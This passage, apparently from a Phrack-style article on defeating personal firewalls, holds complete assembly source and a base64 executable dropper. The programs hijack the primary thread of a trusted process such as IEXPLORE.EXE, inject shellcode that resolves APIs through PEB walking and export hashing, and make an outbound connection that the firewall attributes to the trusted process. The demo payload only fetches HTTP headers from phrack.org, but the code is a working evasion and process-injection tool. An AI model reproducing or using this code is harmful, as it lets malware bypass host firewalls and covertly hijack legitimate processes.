        PSHS    sWS2_32                 ; most important: winsock DLL
        CALL    pLoadLibrary            ; LoadLibrary("ws2_32.dll");
        EJUMP   INJECT_ERROR
        MOV     ws32base, EAX


        LPROC   u32base,sMessageBox,pMessageBox
        LPROC   ws32base,sWSAStartup,pWSAStartup
        LPROC   ws32base,sWSACleanup,pWSACleanup
        LPROC   ws32base,sSocket,pSocket
        LPROC   ws32base,sConnect,pConnect
        LPROC   ws32base,sSend,pSend
        LPROC   ws32base,sRecv,pRecv
        LPROC   ws32base,sClose,pClose

        PSHS   wsa                     ; see our artificial data segment
        PUSH   2                       ; Version 2 is fine
        CALL   pWSAStartup             ; Do the WSAStartup()
        CMP    EAX, 0
        JNE    INJECT_ERROR

        PUSH   0
        PUSH   SOCK_STREAM             ; A normal stream oriented socket
        PUSH   AF_INET                 ; for Internet connections.
        CALL   pSocket                 ; Create it.
        CMP    EAX, INVALID_SOCKET
        JE     INJECT_ERROR
        MOV    EBX,EAX

        PUSH   SIZEOF sockaddr         ; Connect to www.phrack.org:80
        PSHS   sAddr                   ; hardcoded structure
        PUSH   EBX                     ; that's our socket descriptor
        CALL   pConnect                ; connect() to phrack.org
        CMP    EAX, SOCKET_ERROR
        JE     INJECT_ERROR

        PUSH   0                       ; no flags
        PUSH   028H                    ; 40 bytes to send
        PSHS   sRequ                   ; the GET string
        PUSH   EBX                     ; socket descriptor
        CALL   pSend                   ; send() HTTP request
        CMP    EAX, SOCKET_ERROR
        JE     INJECT_ERROR


        ; We now have to receive the server's reply. We only
        ; want the HTTP header to display it in a message box
        ; as an indicator for a successful bypass.


        MOV    ECX, 0                  ; number of bytes received

PP:     MOV    EDX, iBase
        ADD    EDX, OFFSET sRepl-inject

        ADD    EDX, ECX                ; EDX is the current position inside
                                       ; the string buffer
        PUSH   EDX
        PUSH   ECX

        PUSH   0                       ; no flags
        PUSH   1                       ; one byte to receive
        PUSH   EDX                     ; string buffer
        PUSH   EBX                     ; socket descriptor
        CALL   pRecv                   ; recv() the byte

        POP    ECX
        POP    EDX

        CMP    AL, 1                   ; one byte received ?
        JNE    PPE                     ; an error occured
        CMP    ECX,2                   ; check if we already received
        JS     PP2                     ; more than 2 bytes
        MOV    AL, [EDX]              ; this is the byte we got
        CMP    AL, [EDX-2]            ; we are looking for <CRLF><CRLF>
        JNE    PP2
        CMP    AL, 10                 ; we found it, most probably.
        JE     PPE                    ; we only want the headers.

PP2:    INC    ECX
        CMP    ECX,600                ; 600 byte maximum buffer size
        JNE    PP


PPE:    PUSH   EBX                    ; socket descriptor
        CALL   pClose                 ; close the socket

        PUSH   64                     ; neat info icon and an ok button
        PSHS   sCap                   ; the caption string
        PSHS   sRepl                  ; www.phrack.org's HTTP header
        PUSH   0
        CALL   pMessageBox            ; display the message box.

        JMP    INJECT_SUCCESS         ; we were successful.

INJECT_SUCCESS:
        MOV    EAX, 1                 ; return values are passed in EAX
        JMP    INJECT_CLEANUP

INJECT_ERROR:
        MOV    EAX, 0                 ; boolean return value (success)

INJECT_CLEANUP:
        PUSH   EAX                    ; save our return value
        CMP    pWSACleanup,0
        JE     INJECT_DONE
        CALL   pWSACleanup            ; perform cleanup
        CMP    ws32base, 0            ; check if we have loaded ws2_32
        JE     INJECT_DONE
        PUSH   ws32base
        CALL   pFreeLibrary           ; release ws2_32.dll

INJECT_DONE:
        POP    EAX                    ; retore the return value
        RET                           ; and return

inject  ENDP

inject_end: END Main
```

-[0x0C] :: tiny.exe source code --

This is the ASM source code for the second bypass program.

```
.386
.MODEL flat, stdcall

  INCLUDE   windows.inc
  INCLUDE   kernel32.inc
  INCLUDE   advapi32.inc

  bypass    PROTO                      ; Tiny Firewall Bypass
  inject    PROTO, iBase:DWORD         ; injected function
  getsvc    PROTO, pProcessInfo:DWORD  ; finds running, trusted process
  getdbg    PROTO                      ; enables the SE_DEBUG privilege


;       The PSHS macro is used to push the address of some
;       structure onto the stack inside the remote process'
;       address space. iBase contains the address where the
;       injected code starts.

PSHS    MACRO  BUFFER
        MOV    EDX, iBase
        ADD    EDX, OFFSET BUFFER - inject
        PUSH   EDX
        ENDM

;       The LPROC macro assumes that pGetProcAddress holds
;       the address of the GetProcAddress() API call and
;       simulates its behaviour. PROCNAME is a string inside
;       the injected code that holds the function name and
;       PROCADDR is a DWORD variable inside the injected
;       code that will retrieve the address of that function.
;       BASEDLL, as the name suggests, should hold the
;       base address of the appropriate DLL.

LPROC   MACRO  BASEDLL, PROCNAME, PROCADDR
        PSHS   PROCNAME
        PUSH   BASEDLL
        CALL   pGetProcAddress
        EJUMP  INJECT_ERROR
        MOV    PROCADDR, EAX
        ENDM

EJUMP   MACRO  TARGET_CODE ; jump when EAX is 0.
        CMP    EAX, 0
        JE     TARGET_CODE
        ENDM


.DATA
        ; This is the name of a trusted process to search for.
        ; If you know what you are doing, you can play with
        ; if and see whether other applications work with the
        ; current code (aka hijack primary thread).
        ; "OUTLOOK.EXE" works as well btw.

        TRUSTED      DB  "IEXPLORE.EXE",0


        SE_DEBUG     DB  "SeDebugPrivilege",0  ; debug privilege
        IEV_NAME     DB  "TINY0",0             ; our event name
        IEV_HANDLE   DD  ?                     ; event handle
        FUNCSZE      EQU iend-istart           ; inject’s size
        CODESZE      EQU 19                    ; size of our "shellcode"
        ALLSZE       EQU FUNCSZE + CODESZE     ; complete size
        FUNCADDR     EQU istart                ; offset of inject

        ; JUMPDIFF is the number of bytes from the beginning of
        ; the shellcode to the jump instruction. It is required
        ; to calculate the value of JUMP_ADDR, see below.

        JUMPDIFF       EQU 14


        ; This "shellcode" will be injected to the trusted
        ; process directly in fron of the injector procedure
        ; itself. It will simply call the injector function
        ; with its base address as the first argument and
        ; jump back to the address where we hijacked the
        ; thread afterwards. The addresses of our injected
        ; function (PUSH_ADDR) and the original EIP of the
        ; hijacked thread (JUMP_ADDR) will be calculated
        ; at runtime, of course.

        SHELLCODE    LABEL BYTE

         PUSHAD_CODE DB 060H ; PUSHAD
         PUSHFD_CODE DB 09CH ; PUSHFD
         PUSH_CODE   DB 068H ; PUSH <function address>
         PUSH_ADDR   DD ?
         CALL_CODE   DB 0E8H ; CALL <function address>
         CALL_ADDR   DD 07H
         POPFD_CODE  DB 09DH ; POPFD
         POPAD_CODE  DB 061H ; POPAD
         JUMP_CODE   DB 0E9H ; JUMP <original EIP>
         JUMP_ADDR   DD ?
                             ; <injector function>
                             ; ...

.CODE


Main: ; not much to do except calling
      ; the bypass function in this sample.

        INVOKE  bypass
        INVOKE  ExitProcess, 0


getdbg  PROC  ; enables the SE_DEBUG privilege for ourself
        LOCAL   token:HANDLE
        LOCAL   priv:TOKEN_PRIVILEGES
        LOCAL   luid:LUID
        INVOKE  LookupPrivilegeValue, 0,OFFSET SE_DEBUG, ADDR luid
        EJUMP   DBE0
        MOV     priv.PrivilegeCount, 01H
        MOV     priv.Privileges.Attributes, 02H
        MOV     EAX,luid.LowPart
        MOV     priv.Privileges.Luid.LowPart,EAX
        MOV     EAX,luid.HighPart
        MOV     priv.Privileges.Luid.HighPart,EAX
        INVOKE  GetCurrentProcess
        MOV     ECX,EAX
        INVOKE  OpenProcessToken,ECX,020H, ADDR token
        MOV     ECX, token
        CMP     ECX, 0
        JE      DBE0
        INVOKE  AdjustTokenPrivileges,ECX,0,ADDR priv,0,0,0
        MOV     ECX,EAX
        INVOKE  CloseHandle, token
        MOV     EAX,ECX
DBE0:   RET
getdbg  ENDP



getsvc  PROC,   pProcessInfo:DWORD

        ; This function fills a PROCESS_INFORMATION
        ; structure with the ID and handle of the
        ; required trusted process and its primary
        ; thread. The tool helper API is used to
        ; retrieve this information.

        LOCAL   p32:PROCESSENTRY32
        LOCAL   t32:THREADENTRY32

        LOCAL   hShot:DWORD

        MOV     p32.dwSize, SIZEOF PROCESSENTRY32
        MOV     t32.dwSize, SIZEOF THREADENTRY32

        INVOKE  getdbg ; we need SE_DEBUG first

        ; Create a snapshot of all processes and
        ; threads. 06H is the appropriate bitmask
        ; for this purpose, look it up if you
        ; dont trust me.

        INVOKE  CreateToolhelp32Snapshot,06H,0
        MOV     hShot,EAX

        ; Start to search for the trusted process.
        ; We will compare the name of the process'
        ; primary module with the string buffer
        ; TRUSTED until we find a match.

        INVOKE  Process32First, hShot, ADDR p32
        CMP     EAX, 0
        JE      GSE1

GSL:    LEA     EDX, p32.szExeFile
        INVOKE  lstrcmpi, EDX, OFFSET TRUSTED

        CMP     EAX, 0 ; lstrcmpi is not case sensitive!
        JE      GSL1   ; good, we found the process

        INVOKE  Process32Next, hShot, ADDR p32

        CMP     EAX, 0 ; no more processes,
        JE      GSE1   ; no success
        JMP     GSL    ; otherwise, continue loop

        ; We have found an instance of the trusted
        ; process, continue to retrieve information
        ; about its primary thread and gain an open
        ; handle to both the process itself and the
        ; thread. To find the thread, we have to
        ; loop through all thread entries in our
        ; snapshot until we discover a thread that
        ; has been created by the process we found.

GSL1:   INVOKE  Thread32First, hShot, ADDR t32
        MOV     EBX, 0

TSL:    MOV     EDX, t32.th32OwnerProcessID
        CMP     EDX, p32.th32ProcessID
        JE      TSL0
        INVOKE  Thread32Next, hShot, ADDR t32
        CMP     EAX, 0 ; no more threads (weird),
        JE      GSE1   ; no success
        JMP     TSL    ; otherwise, continue loop

        ; Now, since we have got the ID's of both
        ; the process itself and the primary thread,
        ; use OpenProcess() and OpenThread() to
        ; get a handle to both of them. You are right,
        ; OpenThread is NOT a documented call, but
        ; it looks like that was rather an accident.
        ; It is exported by kernel32.dll just like
        ; OpenProcess().

TSL0:   MOV     EDX, pProcessInfo     ; the structure address

        MOV     EAX,p32.th32ProcessID ; copy the process ID
        MOV     [EDX+08H], EAX

        MOV     EAX, t32.th32ThreadID ; copy the thread ID
        MOV     [EDX+0CH], EAX

        PUSH    EDX                   ; safe the address


        INVOKE  OpenProcess, PROCESS_ALL_ACCESS, \
                0, p32.th32ProcessID

        CMP     EAX, 0
        JE      GSE1
        MOV     EBX, EAX

        INVOKE  OpenThread, THREAD_ALL_ACCESS, 0, \
                t32.th32ThreadID

        CMP     EAX, 0
        JE      GSE1

        POP     EDX                     ; restore the address
        MOV     [EDX], EBX              ; copy the process handle
        MOV     [EDX+04H], EAX          ; copy the thread handle

        PUSH    1                       ; success
        JMP     GSE0

GSE1:   PUSH    0                       ; failure

GSE0:   CMP     hShot, 0
        JE      GSE
        INVOKE  CloseHandle, hShot      ; cleanup

GSE:    POP     EAX                     ; pop the return value to EAX
        RET                             ; that's it.

getsvc  ENDP



istart:

inject  PROC, iBase:DWORD


        LOCAL k32base           :DWORD
        LOCAL expbase           :DWORD
        LOCAL forwards          :DWORD

        LOCAL pGetProcAddress  :DWORD
        LOCAL pGetModuleHandle :DWORD
        LOCAL pLoadLibrary     :DWORD
        LOCAL pFreeLibrary     :DWORD

        LOCAL pOpenEvent       :DWORD
        LOCAL pCloseHandle     :DWORD
        LOCAL pSetEvent        :DWORD

        LOCAL pMessageBox      :DWORD
        LOCAL u32base          :DWORD
        LOCAL ws32base         :DWORD

        LOCAL pWSAStartup      :DWORD
        LOCAL pWSACleanup      :DWORD

        LOCAL pSocket          :DWORD
        LOCAL pConnect         :DWORD
        LOCAL pSend            :DWORD
        LOCAL pRecv            :DWORD
        LOCAL pClose           :DWORD

        JMP IG


        sGetModuleHandle DB "GetModuleHandleA" ,0
        sLoadLibrary     DB "LoadLibraryA"     ,0
        sFreeLibrary     DB "FreeLibrary"      ,0

        sOpenEvent       DB "OpenEventA"       ,0
        sCloseHandle     DB "CloseHandle"      ,0
        sSetEvent        DB "SetEvent"         ,0
        sFWPEVENT         DB "TINY0"              ,0

        sUser32           DB "USER32.DLL"         ,0
        sMessageBox       DB "MessageBoxA"        ,0

        sGLA              DB "GetLastError"       ,0
        sWLA              DB "WSAGetLastError"    ,0

        sWS2_32           DB "ws2_32.dll"         ,0
        sWSAStartup       DB "WSAStartup"         ,0
        sWSACleanup       DB "WSACleanup"         ,0
        sSocket           DB "socket"             ,0
        sConnect          DB "connect"            ,0
        sSend             DB "send"               ,0
        sRecv             DB "recv"               ,0
        sClose            DB "closesocket"        ,0

        wsa LABEL BYTE
         wVersion         DW 0
         wHighVersion     DW 0
         szDescription    DB WSADESCRIPTION_LEN+1 DUP(0)
         szSystemStatus   DB WSASYS_STATUS_LEN+1 DUP(0)
         iMaxSockets      DW 0
         iMaxUdpDg        DW 0
         lpVendorInfo     DD 0

        sAddr LABEL BYTE
         sin_family       DW AF_INET
         sin_port         DW 05000H
         sin_addr         DD 006EE3745H
         sin_zero         DQ 0



        sStartC           DB "SetUp Complete",0
        sStart            DB "Injector SetUp complete. ", \
                             "Sending request:",13,10,13,10

        sRequ             DB "GET / HTTP/1.0",13,10, \
                             "Host: www.phrack.org",\
                             13,10,13,10,0

        sCap              DB "Injection successful",0
        sRepl             DB 601 DUP(0)


IG:     ASSUME  FS:NOTHING             ; This is a MASM error bypass.

        MOV     EAX, FS:[030H]         ; Get the Process Environment Block
        TEST    EAX, EAX               ; Check for Win9X
        JS      W9X

WNT:    MOV     EAX, [EAX+00CH]        ; WinNT: get PROCESS_MODULE_INFO
        MOV     ESI, [EAX+01CH]        ; Get fLink from ordered module list
        LODSD                          ; Load the address of bLink into eax
        MOV     EAX, [EAX+008H]        ; Copy the module base from the list
        JMP     K32                    ; Work done

W9X:    MOV     EAX, [EAX+034H]        ; Undocumented offset (0x34)
        LEA     EAX, [EAX+07CH]        ; ...
        MOV     EAX, [EAX+03CH]        ; ...
K32:    MOV     k32base,EAX            ; Keep a copy of the base address
        MOV     pGetProcAddress, 0     ; now search for GetProcAddress
        MOV     forwards,0             ; Set the forwards to 0 initially

        MOV     pWSACleanup, 0         ; we will need these for error -
        MOV     ws32base, 0            ; checks lateron
        MOV     pOpenEvent, 0

        ADD     EAX,[EAX+03CH]         ; pointer to IMAGE_NT_HEADERS
        MOV     EAX,[EAX+078H]       ; RVA of exports directory
        ADD     EAX,k32base          ; since RVA: add the base address
        MOV     expbase,EAX          ; IMAGE_EXPORTS_DIRECTORY

        MOV     EAX,[EAX+020H]       ; RVA of the AddressOfNames array
        ADD     EAX,k32base          ; add the base address

        MOV     ECX,[EAX]            ; ECX: RVA of the first string
        ADD     ECX,k32base          ; add the base address

        MOV     EAX,0                ; EAX will serve as a counter
        JMP     M2                   ; start looping

M1:     INC     EAX                  ; Increase EAX every loop
M2:     MOV     EBX, 0               ; EBX will be the calculated hash

HASH:   MOV     EDX, EBX
        SHL     EBX, 05H
        SHR     EDX, 01BH
        OR      EBX, EDX
        MOV     EDX, 0
        MOV      DL, [ECX]           ; Copy current character to DL
        ADD     EBX, EDX             ; and add DL to the hash value
        INC     ECX                  ; increase the string pointer
        MOV      DL, [ECX]           ; next character in DL, now:
        CMP     EDX, 0               ; check for null character
        JNE     HASH


        ; This is where we take care of the forwarders.
        ; we will always subtract the number of forwarders
        ; that already occured from our iterator (EAX) to
        ; retrieve the appropriate offset from the second
        ; array.

        PUSH    EAX                  ; Safe EAX to the stack
        SUB     EAX,forwards         ; Subtract forwards
        IMUL    EAX,4                ; addresses are DWORD's
        INC     ECX                  ; Move the ECX pointer to the
                                     ; beginning of the next name

        MOV     EDX, expbase         ; Load exports directory
        MOV     EDX, [EDX+01CH]      ; EDX: array of entry points
        ADD     EDX, k32base         ; add the base address
        MOV     EDX, [EDX+EAX]       ; Lookup the Function RVA
        ADD     EDX, k32base         ; add the base address
        MOV     pGetProcAddress, EDX ; This will be correct once
                                     ; the loop is finished.

        ; Second stage of our forwarder check: If the
        ; "entry point" of this function points to the
        ; next string in array #1, we just found a forwarder.

        CMP     EDX, ECX             ; forwarder check
        JNE     FWD                  ; ignore normal entry points
        INC     forwards             ; This was a forwarder

FWD:    POP     EAX                  ; Restore EAX iterator
        CMP     EBX, 099C95590H      ; hash value for "GetProcAddress"
        JNE     M1

        ; We have everything we wanted. I use a simple macro
        ; to load the functions by applying pGetProcAddress.

        LPROC   k32base, sGetModuleHandle, pGetModuleHandle
        LPROC   k32base, sLoadLibrary, pLoadLibrary
        LPROC   k32base, sFreeLibrary, pFreeLibrary

        LPROC   k32base, sOpenEvent, pOpenEvent
        LPROC   k32base, sCloseHandle, pCloseHandle
        LPROC   k32base, sSetEvent, pSetEvent


        PSHS    sUser32                 ; we need user32.dll
        CALL    pGetModuleHandle        ; assume it is already loaded
        EJUMP   INJECT_ERROR            ; (we could use LoadLibrary)
        MOV     u32base,EAX             ; got it

        PSHS    sWS2_32                 ; most important: winsock DLL
        CALL    pLoadLibrary            ; LoadLibrary("ws2_32.dll");
        EJUMP   INJECT_ERROR
        MOV     ws32base, EAX


        LPROC   u32base,sMessageBox,pMessageBox
        LPROC   ws32base,sWSAStartup,pWSAStartup
        LPROC   ws32base,sWSACleanup,pWSACleanup
        LPROC   ws32base,sSocket,pSocket
        LPROC   ws32base,sConnect,pConnect
        LPROC   ws32base,sSend,pSend
        LPROC   ws32base,sRecv,pRecv
        LPROC   ws32base,sClose,pClose

        PSHS    wsa                     ; see our artificial data segment
        PUSH    2                       ; Version 2 is fine
        CALL    pWSAStartup             ; Do the WSAStartup()
        CMP     EAX, 0
        JNE     INJECT_ERROR

        PUSH    0
        PUSH    SOCK_STREAM             ; A normal stream oriented socket
        PUSH    AF_INET                 ; for Internet connections.
        CALL    pSocket                 ; Create it.
        CMP     EAX, INVALID_SOCKET
        JE      INJECT_ERROR
        MOV     EBX,EAX

        PUSH    SIZEOF sockaddr         ; Connect to www.phrack.org:80
        PSHS    sAddr                   ; hardcoded structure
        PUSH    EBX                     ; that's our socket descriptor
        CALL    pConnect                ; connect() to phrack.org
        CMP     EAX, SOCKET_ERROR
        JE      INJECT_ERROR

        PUSH    0                       ; no flags
        PUSH    028H                    ; 40 bytes to send
        PSHS    sRequ                   ; the GET string
        PUSH    EBX                     ; socket descriptor
        CALL    pSend                   ; send() HTTP request
        CMP     EAX, SOCKET_ERROR
        JE      INJECT_ERROR


        ; We now have to receive the server's reply. We only
        ; want the HTTP header to display it in a message box
        ; as an indicator for a successful bypass.


        MOV     ECX, 0                  ; number of bytes received

PP:     MOV     EDX, iBase
        ADD     EDX, OFFSET sRepl-inject

        ADD     EDX, ECX                ; EDX is the current position inside
                                        ; the string buffer
        PUSH    EDX
        PUSH    ECX

        PUSH    0                       ; no flags
        PUSH    1                       ; one byte to receive
        PUSH    EDX                     ; string buffer
        PUSH    EBX                     ; socket descriptor
        CALL    pRecv                   ; recv() the byte

        POP     ECX
        POP     EDX

        CMP     AL, 1                   ; one byte received ?
        JNE     PPE                     ; an error occured
        CMP     ECX,2                   ; check if we already received
        JS      PP2                     ; more than 2 bytes

        MOV     AL, [EDX]               ; this is the byte we got
        CMP     AL, [EDX-2]             ; we are looking for <CRLF><CRLF>
        JNE     PP2
        CMP     AL, 10                  ; we found it, most probably.
        JE      PPE                     ; we only want the headers.

PP2:    INC     ECX
        CMP     ECX,600                 ; 600 byte maximum buffer size
        JNE     PP


PPE:    PUSH    EBX                     ; socket descriptor
        CALL    pClose                  ; close the socket

        PUSH    64                      ; neat info icon and an ok button
        PSHS    sCap                    ; the caption string
        PSHS    sRepl                   ; www.phrack.org's HTTP header
        PUSH    0
        CALL    pMessageBox             ; display the message box.

        JMP     INJECT_SUCCESS          ; we were successful.

INJECT_SUCCESS:
        PUSH    1                       ; return success
        JMP     INJECT_CLEANUP

INJECT_ERROR:
        PUSH    0                       ; return failure

INJECT_CLEANUP:

        PUSH    EAX                     ; save our return value
        CMP     pWSACleanup,0
        JE      INJECT_DONE
        CALL    pWSACleanup             ; perform cleanup
        CMP     ws32base, 0             ; check if we have loaded ws2_32
        JE      INJECT_DONE
        PUSH    ws32base
        CALL    pFreeLibrary            ; release ws2_32.dll

        ; the following code is the only real difference
        ; to the code in sample #1. It is used to signal
        ; an event with the name "TINY0" so that the
        ; injector executable knows when this code has
        ; done its job.

        CMP     pOpenEvent, 0
        JE      INJECT_DONE

        PSHS    sFWPEVENT               ; "TINY0"
        PUSH    0                       ; not inheritable
        PUSH    EVENT_ALL_ACCESS        ; whatever
        CALL    pOpenEvent              ; open the event
        CMP     EAX, 0
        JE      INJECT_DONE
        MOV     EBX, EAX

        PUSH    EBX
        CALL    pSetEvent            ; signal the event

        PUSH    EBX
        CALL    pCloseHandle         ; close the handle

INJECT_DONE:

        POP     EAX
        RET                          ; and return

inject  ENDP
iend:



bypass  PROC

        LOCAL   pinf             :PROCESS_INFORMATION
        LOCAL   mct              :CONTEXT

        LOCAL   dwReturn         :DWORD ; return value
        LOCAL   dwRemoteThreadID :DWORD ; remote thread ID
        LOCAL   pbRemoteMemory   :DWORD ; remote base address

        MOV     pinf.hProcess, 0
        MOV     pinf.hThread, 0

        ; First of all, creat the even that we need to get
        ; informed about the progress of our injected code.

        INVOKE  CreateEvent, 0, 1, 0, OFFSET IEV_NAME
        EJUMP   BPE5
        MOV     IEV_HANDLE, EAX

        ; Find a suitable, trusted process that we can use
        ; to hijack its primary thread. We will then pause
        ; that primary thread and make sure that its suspend
        ; count is exactly 1. It might seem a bit too careful,
        ; but if the primary thread is already suspended at
        ; the moment of infection, we have a problem. Thus,
        ; we will rather make sure with some more commands
        ; that the thread can be resumed with a single call
        ; to ResumeThread().

        INVOKE  getsvc, ADDR pinf
        EJUMP   BPE5

        INVOKE  SuspendThread, pinf.hThread

        CMP     EAX, 0FFFFFFFFH
        JE      BPE3
        CMP     EAX, 0
        JE      SPOK
SPL:    INVOKE  ResumeThread, pinf.hThread
        CMP     EAX, 1
        JNE     SPL

        ; Here we go, the thread is paused and ready to be
        ; hijacked. First, we get the EIP register along with
        ; some others that do not interest us.

SPOK:   MOV     mct.ContextFlags, CONTEXT_CONTROL
        INVOKE  GetThreadContext, pinf.hThread, ADDR mct
        EJUMP   BPE2

        ; Now, allocate memory in the remote process' address
        ; space for the shellcode and the injected function

        INVOKE  VirtualAllocEx,pinf.hProcess,0,ALLSZE, \
                MEM_COMMIT,PAGE_EXECUTE_READWRITE
        EJUMP   BPE2
        MOV     pbRemoteMemory,EAX


        MOV     EBX, EAX         ; EBX: remote base address

        ADD     EAX, CODESZE     ; this is the future address
        MOV     PUSH_ADDR, EAX   ; of the inject function

        MOV     EAX, mct.regEip  ; this is the current EIP
        MOV     EDX, EBX         ; EDX: remote base address
        ADD     EDX, JUMPDIFF    ; EDX: absolute address of JMP call

        ; Now we calculate the distance between the JMP call and
        ; the current EIP. The JMP CPU instruction is followed by
        ; a double word that contains the relative number of bytes
        ; to jump away from the current position. This is a signed
        ; long value which is basically added to the EIP register.
        ; To calculate the appropriate value, we need to subtract
        ; the position of the JMP call from the offset we want to
        ; jump to and subtract another 5 byte since the JMP
        ; instruction itself has that length.

        SUB     EAX, EDX
        SUB     EAX, 05H
        MOV     JUMP_ADDR, EAX

        ; Our shellcode is now complete, we will write it along
        ; with the inject function itself to the remote process.

        INVOKE  WriteProcessMemory,pinf.hProcess,EBX, \
                OFFSET SHELLCODE,CODESZE,0
        EJUMP   BPE1
        ADD     EBX, CODESZE

        INVOKE  WriteProcessMemory,pinf.hProcess,EBX, \
                FUNCADDR,FUNCSZE,0
        EJUMP   BPE1

        ; Done. Now hijack the primary thread by resetting its
        ; instruction pointer to continue the flow of execution
        ; at the offset of our own, injected code

        MOV     EDX, pbRemoteMemory
        MOV     mct.regEip, EDX

        INVOKE  SetThreadContext, pinf.hThread, ADDR mct
        EJUMP   BPE1

        ; And let the thread continue ...

        INVOKE  ResumeThread, pinf.hThread
        CMP     EAX, 0FFFFFFFFH
        JE      BPE1

        ; Now this is where we are making use of the event we
        ; created. We will wait until the injected code signals
        ; the event (at a reasonable timeout) and sleep for
        ; another second to make sure our code has done its
        ; job completely before we start with the cleanup.

        INVOKE  WaitForSingleObject, IEV_HANDLE, 60000
        CMP     EAX, 0
        JE      BPOK

        ; However, if something goes wrong it is better
        ; to terminate the thread as silently as possible.

        INVOKE  TerminateThread, pinf.hThread, 1
```

```
BPOK:   INVOKE  Sleep, 1000

BPE1:   INVOKE  VirtualFreeEx,pinf.hProcess, \
                pbRemoteMemory,ALLSZE,MEM_RELEASE

BPE2:   INVOKE  ResumeThread, pinf.hThread

BPE3:   CMP     pinf.hThread, 0
        JE      BPE4
        INVOKE  CloseHandle,pinf.hThread
BPE4:   CMP     pinf.hProcess, 0
        JE      BPE5
        INVOKE  CloseHandle,pinf.hProcess
BPE5:   INVOKE  CloseHandle, IEV_HANDLE
        RET

bypass  ENDP

END Main
```

-[0x0D] :: binaries (base64) ---

These are the binary version of the two sample applications for
everyone who is unable to get the Assembler I used. Actually, the
files below are python scripts that will decode the base64 -
encoded versions of the executables and create the respective
binary file in its current directory. If you do not use python,
you will have to find another way to decode them properly.

```
############################## injector.py ##############################

from base64 import decodestring
open("injector.exe","wb").write(decodestring("""
```

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAsAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g
aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAAB86B1FOIlzFjiJcxY4iXMWtpZgFiCJcxbEqWEWOY
lzFlJpY2g4iXMWAAAAAAAAAAABQRQAATAEDAO9yckAAAAAAAAAAAAOAADwELAQUMAAoAAAAG
AAAAAAAAABAAAAAQAAAAIAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAAABAAAAABA
AAAAAAAAIAAAAAAABAAABAAAAAAAEAAAEAAAAAAAAABAAAAAAAAAAAAAAAEwgAABQAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAATAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAC50ZXh0AAAAzgkAAAAQAAAACgAAAAQAAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAC
wCAAAAIAAAAAQAAAAOAAAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABCAQAAADAAAAACAAAA
EgAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGg2MEAAaBowQABoAAAAgOiiCQAAg/gAdSto
PjFAAGg6MEAAUP81NjBAAOiNCQAA/zU2MEAA6HYJAABoOjBAAOgHAAAAagDoNQkAAFWL7I
PEnI1FvFDoMgkAAGbHRewAAI1FrFCNRbxQagBqAGoAagBqAGoA/3UIagDo9ggAAIP4AA+E
xAAAAGgQJwAA/3Ws6DQJAACD+AAPha4AAACLXayLTbC6BwgAAGpAaAAQAABSagBT6OAIAA
CD+AAPhKIAAACJRZy6BwgAAGoAUmhnEUAA/3WcU+jQCAAAg/gAdFyNRaRQagD/dZz/dZxq
AGoAU+iFCAAAg/gAdDmJRaDHRagAAAAAav//daDolggAAI1FqFD/daDobAgAAIN9qAB1E2
oQaBIwQABoADBAAGoA6I8IAAD/daDoMwgAAGgAgAAAagD/dZxT6FMIAABqAFPoPwgAAP91
sOgTCAAA/3Ws6AsIAADJwgQAVYvsg8S86RUFAABHZXRNb2R1bGVIYW5kbGVBAExvYWRMaW
JyYXJ5QQBGcmVlTGlicmFyeQBVU0VSMzIuRExMAE1lc3NhZ2VCb3hBAEdldExhc3RFcnJv
cgBXU0FHZXRMYXN0RXJyb3IAd3MyXzMyLmRsbABXU0FTdGFydHVwAFdTQUNsZWFudXAAc2
9ja2V0AGNvbm5lY3QAc2VuZAByZWN2AGNsb3Nlc29ja2V0AAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
